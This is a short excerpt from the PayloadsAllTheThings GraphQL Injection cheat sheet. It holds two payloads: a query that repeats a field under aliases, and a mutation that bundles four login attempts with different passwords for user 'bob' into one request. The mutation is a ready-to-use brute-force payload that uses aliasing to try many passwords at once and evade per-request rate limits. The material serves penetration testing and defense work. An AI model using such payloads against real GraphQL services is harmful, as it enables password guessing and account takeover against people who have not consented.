{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}Send the same mutation several times using aliases
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}Source: GraphQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.